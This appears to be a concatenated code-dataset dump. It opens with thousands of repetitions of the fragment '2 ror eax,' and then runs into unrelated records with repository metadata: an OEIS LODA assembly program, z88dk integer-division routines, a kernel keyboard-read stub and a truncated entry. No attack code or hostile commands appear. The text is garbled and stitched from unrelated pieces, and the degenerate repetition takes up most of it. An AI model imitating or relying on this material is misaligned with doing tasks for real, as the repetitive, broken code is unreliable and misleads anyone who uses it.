2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ror eax, 2 ; ENDIF ; Line 5 ret 0 win_rorl ENDP _TEXT ENDS END
12.009576
79
0.583857
e220fe84d0bce4dc642788f2c1332e79f8ae0aa3
698
asm
Assembly
libsrc/_DEVELOPMENT/math/integer/l_divu_32_32x16.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/integer/l_divu_32_32x16.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/integer/l_divu_32_32x16.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
INCLUDE "clib_cfg.asm" SECTION code_math PUBLIC l_divu_32_32x16, l0_divu_32_32x16 ; compute: dehl = dehl / bc, dehl' = dehl % bc ; alters : af, bc, de, hl, bc', de', hl', ix ; alternate entry (l0_divu_32_32x16) ; skips divide by zero check IF __CLIB_OPT_IMATH <= 50 EXTERN l_small_divu_32_32x32, l0_small_divu_32_32x32 l_divu_32_32x16: scf l0_divu_32_32x16: push bc exx pop hl ld de,0 jp nc, l0_small_divu_32_32x32 jp l_small_divu_32_32x32 ENDIF IF __CLIB_OPT_IMATH > 50 EXTERN l_fast_divu_32_32x16, l0_fast_divu_32_32x16 defc l_divu_32_32x16 = l_fast_divu_32_32x16 defc l0_divu_32_32x16 = l0_fast_divu_32_32x16 ENDIF
15.863636
55
0.716332
e2800f373f5475f58f84d47b86574a841d20f0cc
148
asm
Assembly
Kernel/asm/keyboard.asm
juani-garcia/Kernel-Arqui
9dda7b7379cfcbb886088a4309fb7e40ff6e43ea
[ "BSD-3-Clause" ]
null
null
null
Kernel/asm/keyboard.asm
juani-garcia/Kernel-Arqui
9dda7b7379cfcbb886088a4309fb7e40ff6e43ea
[ "BSD-3-Clause" ]
null
null
null
Kernel/asm/keyboard.asm
juani-garcia/Kernel-Arqui
9dda7b7379cfcbb886088a4309fb7e40ff6e43ea
[ "BSD-3-Clause" ]
null
null
null
GLOBAL kbRead section .text kbRead: ; unsigned int kbRead(void); push rbp mov rbp, rsp xor rax, rax in al, 0x60 mov rsp, rbp pop rbp ret
9.866667
36
0.682432
aabc1c130f1eb304aafb0c3840bf406bbca52c84
713
asm
Assembly
oeis/229/A229726.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/229/A229726.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/229/A229726.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A229726: Denominator of Sum_{k=1..2n+1} 2^k/k. ; Submitted by Jon Maiga ; 1,3,15,105,315,3465,45045,9009,153153,2909907,14549535,334639305,1673196525,5019589575,145568097675,4512611027925,4512611027925,4512611027925,166966608033225,166966608033225,6845630929362225,294362129962575675,294362129962575675,13835020108241056725,96845140757687397075,96845140757687397075,5132792460157432044975,5132792460157432044975,5132792460157432044975,302834755149288490653525,18472920064106597929865025,18472920064106597929865025,18472920064106597929865025,1237685644295142061300956675 mul $0,2 mov $1,1 lpb $0 mov $2,$0 add $2,1 add $3,$1 mul $3,2 mul $3,$0 sub $0,1 mul $1,$2 lpe gcd $3,$1 div $1,$3 mov $0,$1
37.526316
497
0.813464
6f75b04bca4fba1411a82c05a6287f02d962765e
112
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/fabs.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
